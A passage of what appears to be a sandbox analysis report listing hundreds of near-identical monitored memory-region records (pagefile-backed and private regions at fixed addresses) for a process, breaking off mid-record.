"" Region: id = 14706 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14707 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14708 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14709 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14710 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14711 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14712 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14713 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14714 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14715 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14716 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14717 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14718 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14719 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14720 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14721 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14722 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14723 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14724 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14725 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14726 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14727 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14728 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14729 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14730 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14731 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14732 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14733 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14734 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14735 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14736 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14737 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14738 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14739 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14740 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14741 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14742 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14743 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14744 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14745 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14746 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14747 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14748 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14749 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14750 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14751 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14752 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14753 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14754 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14755 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14756 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14757 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14758 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14759 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14760 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14761 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14762 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 14763 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 14764 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14765 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14766 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14767 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14768 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14769 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14770 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14771 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14772 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14773 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14774 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14775 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14776 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14777 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14778 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14779 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14780 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14781 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14782 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14783 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14784 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14785 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14786 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14787 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14788 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14789 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14790 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14791 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14792 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14793 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14794 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14795 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14796 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14797 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14798 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14799 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14800 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14801 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14802 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14803 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14804 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14805 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14806 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14807 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14808 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14809 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14810 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14811 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14812 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14813 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14814 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14815 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14816 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14817 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14818 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14819 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14820 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14821 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14822 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14823 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14824 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14825 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14826 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14827 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14828 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14829 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14830 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14831 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14832 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14833 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14834 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14835 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14836 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14837 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14838 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14839 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14840 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14841 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14842 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14843 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14844 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14845 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14846 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14847 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14848 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14849 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14850 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14851 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14852 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14853 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14854 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14855 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14856 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14857 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14858 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14859 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14860 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14861 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14862 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14863 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14864 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14865 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14866 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14867 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14868 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14869 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14870 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14871 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14872 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14873 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14874 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14875 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14876 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 14877 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 14878 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14879 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14880 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14881 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14882 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14883 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14884 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14885 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14886 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 14887 start_va = 